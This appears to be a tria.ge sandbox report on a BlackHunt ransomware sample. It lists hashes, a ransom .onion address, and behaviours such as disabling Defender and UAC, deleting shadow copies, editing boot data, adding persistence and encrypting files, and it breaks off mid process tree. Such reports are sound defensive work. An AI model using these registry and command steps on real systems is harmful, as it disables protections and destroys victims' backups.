Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
173s -
max time network
145s -
platform
windows10-2004_x64 -
resource
win10v2004-20231215-en -
resource tags
arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system -
submitted
18/01/2024, 23:27
Static task
static1
Behavioral task
behavioral1
Sample
59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe
Resource
win10v2004-20231215-en
General
-
Target
59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe
-
Size
707KB
-
MD5
c0583c66841988e5cf33d4dc57b53c68
-
SHA1
39fa501f24dca2c7ffc757fc7c04cdbbf3f1e2fb
-
SHA256
59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1
-
SHA512
bf156bce61bf3ccc9bdde44d7225896bb00d4de7c9f9be47a199c1954002e212c4e48d9bd1d7b6682e3616a85141f782763f51de5b98de1bed8737c932a7e8ca
-
SSDEEP
6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza1S8Uvnh:6uaTmkZJ+naie5OTamgEoKxLWJqh
Malware Config
Extracted
C:\ProgramData\#BlackHunt_ReadMe.hta
http-equiv="x-ua-compatible"
http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion
Signatures
-
Deletes NTFS Change Journal 2 TTPs 1 IoCs
The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.
pid Process 1456 fsutil.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1" reg.exe Key created \REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection reg.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" 59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe -
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
-
Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
pid Process 6016 bcdedit.exe 6032 bcdedit.exe -
Renames multiple (570) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
-
pid Process 6060 wbadmin.exe -
Disables Task Manager via registry modification
-
Disables use of System Restore points 1 TTPs
-
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Control Panel\International\Geo\Nation 59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta" reg.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" 59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe -
Enumerates connected drives 3 TTPs 27 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\T: 59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe File opened (read-only) \??\I: 59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe File opened (read-only) \??\A: 59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe File opened (read-only) \??\G: 59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe File opened (read-only) \??\Y: 59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe File opened (read-only) \??\L: 59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe File opened (read-only) \??\F: vssadmin.exe File opened (read-only) \??\J: 59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe File opened (read-only) \??\X: 59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe File opened (read-only) \??\V: 59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe File opened (read-only) \??\N: 59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe File opened (read-only) \??\Z: 59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe File opened (read-only) \??\F: vssadmin.exe File opened (read-only) \??\Q: 59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe File opened (read-only) \??\U: 59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe File opened (read-only) \??\S: 59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe File opened (read-only) \??\K: 59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe File opened (read-only) \??\E: 59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe File opened (read-only) \??\M: 59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe File opened (read-only) \??\M: fsutil.exe File opened (read-only) \??\W: 59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe File opened (read-only) \??\O: 59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe File opened (read-only) \??\B: 59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe File opened (read-only) \??\F: fsutil.exe File opened (read-only) \??\R: 59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe File opened (read-only) \??\P: 59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe File opened (read-only) \??\H: 59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 4 ip-api.com -
Drops file in Program Files directory 64 IoCs
description ioc Process File opened for modification C:\Program Files\Java\jdk-1.8\jre\lib\deploy\[email protected] 59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe File created C:\Program Files\VideoLAN\VLC\locale\ar\#BlackHunt_ReadMe.txt 59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe File created C:\Program Files\VideoLAN\VLC\locale\ro\LC_MESSAGES\#BlackHunt_Private.key 59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\lib\deploy\messages_zh_CN.properties 59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe File created C:\Program Files\Java\jdk-1.8\jre\lib\jfr\#BlackHunt_ReadMe.hta 59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe File created C:\Program Files\VideoLAN\VLC\locale\lv\LC_MESSAGES\#BlackHunt_Private.key 59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe File created C:\Program Files\VideoLAN\VLC\lua\extensions\#BlackHunt_ReadMe.hta 59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe File created C:\Program Files\Java\jre-1.8\lib\management\#BlackHunt_ReadMe.hta 59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe File created C:\Program Files\VideoLAN\VLC\locale\zu\#BlackHunt_ReadMe.txt 59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe File opened for modification C:\Program Files\7-Zip\Lang\co.txt 59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\legal\jdk\xalan.md 59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\lib\security\trusted.libraries 59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe File opened for modification C:\Program Files\Java\jre-1.8\COPYRIGHT 59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe File opened for modification C:\Program Files\Java\jre-1.8\lib\fontconfig.bfc 59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\fur\LC_MESSAGES\vlc.mo 59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe File created C:\Program Files\VideoLAN\VLC\locale\pl\#BlackHunt_Private.key 59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe File created C:\Program Files\Java\jdk-1.8\jre\#BlackHunt_ReadMe.txt 59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\lib\ext\sunjce_provider.jar 59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe File opened for modification C:\Program Files\Java\jdk-1.8\legal\jdk\unicode.md 59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe File created C:\Program Files\Java\jre-1.8\lib\cmm\#BlackHunt_ReadMe.hta 59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe File created C:\Program Files\VideoLAN\VLC\locale\ca\LC_MESSAGES\#BlackHunt_ReadMe.hta 59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe File opened for modification C:\Program Files\7-Zip\Lang\fr.txt 59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\legal\javafx\libxslt.md 59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe File created C:\Program Files\VideoLAN\VLC\locale\bn_IN\LC_MESSAGES\#BlackHunt_ReadMe.hta 59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe File created C:\Program Files\VideoLAN\VLC\locale\es\LC_MESSAGES\#BlackHunt_Private.key 59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\kk\LC_MESSAGES\vlc.mo 59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe File created C:\Program Files\VideoLAN\VLC\locale\is\#BlackHunt_Private.key 59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe File created C:\Program Files\VideoLAN\VLC\locale\si\LC_MESSAGES\#BlackHunt_Private.key 59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe File created C:\Program Files\VideoLAN\VLC\locale\ta\LC_MESSAGES\#BlackHunt_ReadMe.txt 59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe File created C:\Program Files\Java\jdk-1.8\jre\bin\plugin2\#BlackHunt_ReadMe.txt 59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe File created C:\Program Files\Java\jdk-1.8\jre\lib\security\policy\limited\#BlackHunt_ReadMe.hta 59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe File created C:\Program Files\Java\jdk-1.8\lib\#BlackHunt_ReadMe.hta 59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe File opened for modification C:\Program Files\Java\jre-1.8\legal\jdk\xmlresolver.md 59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe File opened for modification C:\Program Files\UnpublishSend.mp4 59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe File created C:\Program Files\VideoLAN\VLC\locale\zh_TW\#BlackHunt_ReadMe.hta 59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe File created C:\Program Files\Java\jre-1.8\lib\management\#BlackHunt_Private.key 59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe File opened for modification C:\Program Files\Java\jre-1.8\lib\security\javaws.policy 59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe File opened for modification C:\Program Files\TraceOpen.png 59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe File created C:\Program Files\Google\#BlackHunt_ReadMe.txt 59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\lib\deploy\messages.properties 59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe File opened for modification C:\Program Files\Java\jdk-1.8\legal\jdk\colorimaging.md 59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe File opened for modification C:\Program Files\Java\jre-1.8\lib\ext\cldrdata.jar 59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe File opened for modification C:\Program Files\Java\jre-1.8\lib\ext\nashorn.jar 59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe File created C:\Program Files\VideoLAN\VLC\locale\ast\#BlackHunt_Private.key 59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe File created C:\Program Files\VideoLAN\VLC\locale\et\LC_MESSAGES\#BlackHunt_ReadMe.txt 59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe File created C:\Program Files\VideoLAN\VLC\locale\zh_TW\#BlackHunt_Private.key 59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe File created C:\Program Files\VideoLAN\VLC\locale\lg\LC_MESSAGES\#BlackHunt_ReadMe.txt 59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe File opened for modification C:\Program Files\7-Zip\Lang\vi.txt 59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe File created C:\Program Files\Java\jdk-1.8\jre\bin\#BlackHunt_ReadMe.hta 59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\lib\deploy\ffjcext.zip 59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe File created C:\Program Files\Java\jdk-1.8\jre\lib\images\cursors\#BlackHunt_Private.key 59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe File created C:\Program Files\Java\jre-1.8\lib\jfr\#BlackHunt_Private.key 59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe File opened for modification C:\Program Files\Java\jre-1.8\lib\psfontj2d.properties 59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe File created C:\Program Files\VideoLAN\VLC\locale\mk\LC_MESSAGES\#BlackHunt_Private.key 59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe File created C:\Program Files\VideoLAN\VLC\lua\http\images\#BlackHunt_Private.key 59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe File created C:\Program Files\VideoLAN\VLC\lua\meta\reader\#BlackHunt_ReadMe.hta 59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe File created C:\Program Files\VideoLAN\VLC\locale\my\LC_MESSAGES\#BlackHunt_ReadMe.hta 59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe File created C:\Program Files\VideoLAN\VLC\locale\or\LC_MESSAGES\#BlackHunt_Private.key 59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe File created C:\Program Files\VideoLAN\VLC\locale\zh_TW\LC_MESSAGES\#BlackHunt_Private.key 59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe File created C:\Program Files\#BlackHunt_Private.key 59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe File opened for modification C:\Program Files\7-Zip\Lang\kk.txt 59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe File created C:\Program Files\Java\jdk-1.8\jre\lib\amd64\#BlackHunt_ReadMe.hta 59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe File created C:\Program Files\Reference Assemblies\#BlackHunt_Private.key 59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe File created C:\Program Files\VideoLAN\VLC\locale\ka\#BlackHunt_ReadMe.hta 59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Checks SCSI registry key(s) 3 TTPs 4 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000 vds.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName vds.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_DADY_DVD-ROM\4&215468A5&0&010000 vds.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_DADY_DVD-ROM\4&215468a5&0&010000\FriendlyName vds.exe -
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 4520 schtasks.exe -
Interacts with shadow copies 2 TTPs 5 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 5924 vssadmin.exe 5948 vssadmin.exe 5992 vssadmin.exe 5984 vssadmin.exe 5540 vssadmin.exe -
Modifies registry class 12 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2 reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico" reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\ reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\ vdsldr.exe Key created \REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon reg.exe Key created \REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2 reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico" reg.exe Key created \REGISTRY\MACHINE\Software\Classes\Hunt2 reg.exe Key created \REGISTRY\MACHINE\Software\Classes\.Hunt2 vdsldr.exe -
Suspicious use of AdjustPrivilegeToken 13 IoCs
description pid Process Token: SeDebugPrivilege 968 59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe Token: SeRestorePrivilege 968 59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe Token: SeBackupPrivilege 968 59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe Token: SeTakeOwnershipPrivilege 968 59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe Token: SeAuditPrivilege 968 59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe Token: SeSecurityPrivilege 968 59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe Token: SeIncBasePriorityPrivilege 968 59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe Token: SeBackupPrivilege 2224 vssvc.exe Token: SeRestorePrivilege 2224 vssvc.exe Token: SeAuditPrivilege 2224 vssvc.exe Token: SeBackupPrivilege 5760 wbengine.exe Token: SeRestorePrivilege 5760 wbengine.exe Token: SeSecurityPrivilege 5760 wbengine.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 968 wrote to memory of 4784 968 59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe 89 PID 968 wrote to memory of 4784 968 59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe 89 PID 968 wrote to memory of 1576 968 59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe 91 PID 968 wrote to memory of 1576 968 59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe 91 PID 968 wrote to memory of 4824 968 59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe 93 PID 968 wrote to memory of 4824 968 59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe 93 PID 968 wrote to memory of 4520 968 59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe 191 PID 968 wrote to memory of 4520 968 59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe 191 PID 968 wrote to memory of 2012 968 59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe 97 PID 968 wrote to memory of 2012 968 59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe 97 PID 968 wrote to memory of 3952 968 59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe 100 PID 968 wrote to memory of 3952 968 59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe 100 PID 968 wrote to memory of 3144 968 59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe 99 PID 968 wrote to memory of 3144 968 59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe 99 PID 968 wrote to memory of 1980 968 59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe 110 PID 968 wrote to memory of 1980 968 59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe 110 PID 968 wrote to memory of 4188 968 59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe 103 PID 968 wrote to memory of 4188 968 59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe 103 PID 968 wrote to memory of 784 968 59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe 102 PID 968 wrote to memory of 784 968 59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe 102 PID 968 wrote to memory of 1296 968 59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe 106 PID 968 wrote to memory of 1296 968 59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe 106 PID 968 wrote to memory of 440 968 59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe 111 PID 968 wrote to memory of 440 968 59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe 111 PID 968 wrote to memory of 2724 968 59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe 115 PID 968 wrote to memory of 2724 968 59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe 115 PID 968 wrote to memory of 776 968 59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe 114 PID 968 wrote to memory of 776 968 59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe 114 PID 968 wrote to memory of 2596 968 59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe 113 PID 968 wrote to memory of 2596 968 59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe 113 PID 968 wrote to memory of 3568 968 59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe 123 PID 968 wrote to memory of 3568 968 59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe 123 PID 968 wrote to memory of 2212 968 59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe 117 PID 968 wrote to memory of 2212 968 59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe 117 PID 968 wrote to memory of 544 968 59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe 125 PID 968 wrote to memory of 544 968 59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe 125 PID 968 wrote to memory of 2236 968 59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe 129 PID 968 wrote to memory of 2236 968 59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe 129 PID 968 wrote to memory of 1948 968 59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe 128 PID 968 wrote to memory of 1948 968 59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe 128 PID 968 wrote to memory of 3672 968 59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe 127 PID 968 wrote to memory of 3672 968 59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe 127 PID 968 wrote to memory of 4676 968 59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe 134 PID 968 wrote to memory of 4676 968 59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe 134 PID 968 wrote to memory of 2632 968 59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe 135 PID 968 wrote to memory of 2632 968 59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe 135 PID 968 wrote to memory of 2492 968 59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe 136 PID 968 wrote to memory of 2492 968 59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe 136 PID 968 wrote to memory of 2160 968 59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe 139 PID 968 wrote to memory of 2160 968 59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe 139 PID 968 wrote to memory of 2876 968 59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe 138 PID 968 wrote to memory of 2876 968 59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe 138 PID 968 wrote to memory of 1632 968 59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe 146 PID 968 wrote to memory of 1632 968 59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe 146 PID 968 wrote to memory of 4560 968 59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe 141 PID 968 wrote to memory of 4560 968 59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe 141 PID 968 wrote to memory of 4848 968 59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe 147 PID 968 wrote to memory of 4848 968 59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe 147 PID 4784 wrote to memory of 1472 4784 cmd.exe 215 PID 4784 wrote to memory of 1472 4784 cmd.exe 215 PID 968 wrote to memory of 4364 968 59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe 150 PID 968 wrote to memory of 4364 968 59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe 150 PID 1576 wrote to memory of 3344 1576 cmd.exe 151 PID 1576 wrote to memory of 3344 1576 cmd.exe 151 -
System policy modification 1 TTPs 3 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System 59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" 59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1" 59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
-
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Users\Admin\AppData\Local\Temp\59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe"C:\Users\Admin\AppData\Local\Temp\59a2279ad56714ce038e849561b077ed87b18e2ff317b7b3fd403401428710f1.exe"1⤵
- UAC bypass
- Checks computer location settings
- Checks whether UAC is enabled
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:968 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f2⤵
